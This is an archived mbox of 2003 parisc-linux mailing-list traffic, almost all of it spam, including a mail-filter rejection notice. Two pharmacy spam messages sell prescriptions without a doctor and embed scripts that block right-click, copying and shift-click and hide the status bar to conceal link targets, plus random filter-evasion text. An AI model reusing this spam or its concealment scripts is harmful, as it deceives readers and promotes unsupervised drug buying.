Rk9OVD48Rk9OVCBzaXplPTUgZmFjZT3LzszlIGNvbG9yPSMwMDAwZmY+PFNUUk9ORz48QlI+PC9TVFJP
Tkc+PC9GT05UPjwvRElWPg0KPERJViBhbGlnbj1sZWZ0PjxGT05UIHNpemU9NSBmYWNlPcvOzOUgY29s
b3I9I2ZmMDAwMD48U1RST05HPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvU1RS
T05HPjwvRk9OVD48Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+PFNUUk9ORz48QlI+
PC9TVFJPTkc+PC9GT05UPjwvRElWPg0KPERJViBhbGlnbj1sZWZ0PjxGT05UIHNpemU9MyBmYWNlPcvO
zOUgY29sb3I9IzAwMDAwMD48U1RST05HPrm6wvK3vcq9o7o8L1NUUk9ORz48L0ZPTlQ+PC9ESVY+DQo8
RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT0yIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPjxCUj48L0ZP
TlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6
ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPtK7oaLV0MnM0vjQ0NK7v6jNqCZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO7b+oaLW0Ln6uaTJzNL4
0NAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZP
TlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwO7+qu6fQ0KO61dDJzNL4
0NAmbmJzcDsmbmJzcDu549bdytC3rNiu1qfQ0CZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO7+q
u6fQ0KO6uaTJzNL40NAmbmJzcDsmbmJzcDsmbmJzcDu549bdytC3rNiu1qfQ0DwvRk9OVD48L0RJVj4N
CjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+Jm5ic3A7
Jm5ic3A71cq7p8P7o7q437HzJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A71cq7p8P7o7q437Hz
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9GT05UPjwvRElWPg0KPERJViBhbGlnbj1sZWZ0
PjxGT05UIHNpemU9MyBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD4mbmJzcDsmbmJzcDvVyiZuYnNwOyZu
YnNwO7rFo7owMDIwJm5ic3A7NjEwOTAyODQmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDvVyyZuYnNwOyZuYnNwO7rFo7ozNjAyMDI0MzAxMDMwNjc2NjgyPC9GT05UPjwvRElWPg0KPERJViBh
bGlnbj1sZWZ0PjwvRElWPg0KPERJViBhbGlnbj1sZWZ0PjwvRElWPg0KPERJViBhbGlnbj1sZWZ0PjxG
T05UIHNpemU9MiBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDs8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT0yIGZhY2U9y87M5SBj
b2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO8rbx7C3/s7xo7o8L0ZPTlQ+
PEZPTlQgc2l6ZT0yIGZhY2U9QXJpYWwgY29sb3I9IzAwMDAwMD4mbmJzcDtkaXFpdWNAZGlxaXVjLmNv
bTwvRk9OVD48Rk9OVCBzaXplPTIgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+PEJSPjwvRk9OVD48L0RJ
Vj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTIgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+Jm5i
c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i
c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9GT05UPjxGT05UIHNpemU9MiBmYWNlPUFyaWFsIGNv
bG9yPSMwMDAwMDA+PEJSPjwvRk9OVD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTIg
ZmFjZT1BcmlhbCBjb2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OzwvRk9OVD48Rk9OVCBzaXplPTIgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+ytu687f+zvGjujwvRk9O
VD48Rk9OVCBzaXplPTIgZmFjZT1BcmlhbCBjb2xvcj0jMDAwMDAwPiZuYnNwO2dhb2JpbkBkaXFpdWMu
Y29tPC9GT05UPjxGT05UIHNpemU9MiBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD48QlI+PC9GT05UPjwv
RElWPg0KPERJViBhbGlnbj1sZWZ0PjxGT05UIHNpemU9MiBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD4m
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDu15yZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO7uwo7om
bmJzcDswMjAtMzMxNDI3Njg8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT0y
IGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO7Xnu7C0
q9Xmo7ombmJzcDswMjAtMzQ5MzcyNDUmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDs8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT0yIGZhY2U9
y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO9K1Jm5ic3A7Jm5i
c3A7zvFRUaO6Jm5ic3A7Mzg5MzE0MTc8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQg
c2l6ZT0yIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OzwvRk9OVD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTIgZmFjZT3LzszlIGNvbG9y
PSMwMDAwMDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i
c3A7Jm5ic3A7Jm5ic3A7PC9GT05UPjxGT05UIHNpemU9NCBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD48
U1RST05HPsbky/zN+MLn06rP+sjtvP7H67+0zfjWt6O6Jm5ic3A7PC9TVFJPTkc+PC9GT05UPjxBIGhy
ZWY9aHR0cDovL3d3dy5kaXFpb3VjdW4ubmV0PjxGT05UIHNpemU9NCBmYWNlPcvOzOUgY29sb3I9IzAw
MDBmZj48U1RST05HPjxVPnd3dy5kaXFpb3VjdW4uPC9VPjwvU1RST05HPjwvRk9OVD48Rk9OVCBzaXpl
PTMgZmFjZT1BcmlhbCBjb2xvcj0jMDAwMGZmPjxTVFJPTkc+PFU+bmV0PC9VPjwvU1RST05HPjwvRk9O
VD48L0E+PEZPTlQgc2l6ZT0yIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOzwvRk9OVD48L0RJ
Vj4NCjxESVYgYWxpZ249bGVmdD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTIgZmFj
ZT3LzszlIGNvbG9yPSMwMDAwMDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i
c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9GT05UPjwvRElWPg0KPERJViBh
bGlnbj1sZWZ0PjxGT05UIHNpemU9NCBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD4mbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L0ZPTlQ+PC9ESVY+DQo8L0JPRFk+PC9IVE1MPg0K
DQo=


------=_NextPart_001_004F_18340001.489C0004--



------=_NextPart_000_004E_18340001.489C0004--




From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lorenzo Fraser" <jabooby@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Our doctors are here to help   e exr z
Date: Fri, 05 Dec 03 21:44:10 GMT
Lines: 136
Approved: news@gmane.org
Message-ID: <62t91986h8-1-l72@faf00w1w>
Reply-To: Lorenzo Fraser <jabooby@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="FC_121_10__"
X-Trace: ger.gmane.org 1416623023 2631 80.91.229.3 (22 Nov 2014 02:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jabooby@msn.com  Fri Dec  5 03:52:34 2003
Return-Path: <jabooby@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [211.235.52.35])
	by dsl2.external.hp.com (Postfix) with SMTP id E47C24854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 03:52:32 -0700 (MST)
Original-Received: from [54.78.39.6] by 192.25.206.7 with ESMTP id 35467836;
	Fri, 05 Dec 2003 21:44:10 -0300
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 10:52:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20297


--FC_121_10__
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Our doctors are here to help   e exr z
<head>
<title>Convenient Online Meds</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><font color=3D"#FFCC00" face=3D"verdana" size =3D"1"> SLEEP AIDS..=
 WEIGHT LOSS... WOMENS HEALTH...  MENS HEALTH... ANTI-DEPRESSANTS... SKIN=
 
  CARE...<br>ALLERGY RELIEF... ANXIETY...  LAXATIVES... SEXUAL HEALTH...  =
ENHANCEMENT...  HEARTBURN RELIEF...<br>PAIN RELIEF... QUIT SMOKING...  MUS=
CLE RELAXANTS...  MIGRAINE RELIEF...  ANTI FUNGAL...</font> <h4><font colo=
r=3D"#FFFFFF" face=3D"verdana">Hectic Lifestyle?<br> Not enough hours in t=
he day ?<br>Need quality meds without the hassles?<br><br><font color=3D"#=
FFCC00" face=3D"verdana" size=3D"4">Don't waste your time and money at a d=
octors office<br>Choose from 100's of the Very Best Meds<br> Pills and Pre=
scriptions</font><br><br>Our On-Line pharmacy and doctors<br>will save you=
 hours of valuable time<br>while saving you a great deal of money and aggr=
avation !</font></h4><h4><font color=3D"#FFFFFF" face=3D"verdana">You can =
do it all in 10 minutes<br>We ship overnight... right to your door !<br> S=
o you can enjoy your<br><H1> LIFE !</H1></font></h4><font color=3D"#00ff00=
" face=3D"verdana"><H3><a href=3D"http://www.verybestmeds.com">This way fo=
r the Very Best Meds</a></h3><br><br> 
</font></center>a  x pxzxri kgbi
pdte rw nwea
 qu th twcrytnjfza uqhsscnrxstjlaibz
 u
uf obwtqmv f 
 </body></html>
 wmujxvt msfzb
qxwlyo
 indhhjojwnivgves bg daixuo
i
sbfojnzq  fboaf  

--FC_121_10__--



From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Fri, 05 Dec 2003 11:53:19 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20031205105317.940AF4D0@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070621599_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623023 2638 80.91.229.3 (22 Nov 2014 02:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:43 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 03:53:20 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id A4E8E4891
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 03:53:19 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 940AF4D0
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 11:53:17 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 10:53:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20298

This is a multi-part message in MIME format.

------=_NextPart_000_1070621599_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070621599_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9B23C488D; Fri,  5 Dec 2003 03:52:58 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from 192.25.206.7 (unknown [211.235.52.35])
	by dsl2.external.hp.com (Postfix) with SMTP id E47C24854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 03:52:32 -0700 (MST)
Received: from [54.78.39.6] by 192.25.206.7 with ESMTP id 35467836;
	Fri, 05 Dec 2003 21:44:10 -0300
Message-ID: <62t91986h8-1-l72@faf00w1w>
From: "Lorenzo Fraser" <jabooby@msn.com>
To: parisc-linux@parisc-linux.org
Date: Fri, 05 Dec 03 21:44:10 GMT
X-Mailer: Microsoft Outlook Express 5.00.2615.200
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] Our doctors are here to help   e exr z
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Lorenzo Fraser <jabooby@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1776057609=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070621599_B78506032.R82506026--


From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Constance Guerrero" <jabooby@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Top quality meds pills bqiosao
Date: Sat, 06 Dec 03 01:24:04 GMT
Lines: 136
Approved: news@gmane.org
Message-ID: <6-$$w10bw-e-9$$sams$8vv6f694q@5llmy99m5.ta>
Reply-To: Constance Guerrero <jabooby@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="C8DBCEA._5_3BBFF7"
X-Trace: ger.gmane.org 1416623024 2643 80.91.229.3 (22 Nov 2014 02:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jabooby@msn.com  Fri Dec  5 04:33:29 2003
Return-Path: <jabooby@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 040874854
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 04:33:29 -0700 (MST)
Original-Received: from MX38 (unknown [210.92.105.38])
	by cuprel1.hp.com (Postfix) with SMTP id 6CF8B78C
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 03:33:27 -0800 (PST)
Original-Received: from [220.183.46.32] by MX38 with ESMTP id <797894-90491>;
	Sat, 06 Dec 2003 01:24:04 +0000
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 11:33:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20299


--C8DBCEA._5_3BBFF7
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Top quality meds pills bqiosao
<head>
<title>Convenient Online Meds</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><font color=3D"#FFCC00" face=3D"verdana" size =3D"1"> SLEEP AIDS..=
 WEIGHT LOSS... WOMENS HEALTH...  MENS HEALTH... ANTI-DEPRESSANTS... SKIN=
 
  CARE...<br>ALLERGY RELIEF... ANXIETY...  LAXATIVES... SEXUAL HEALTH...  =
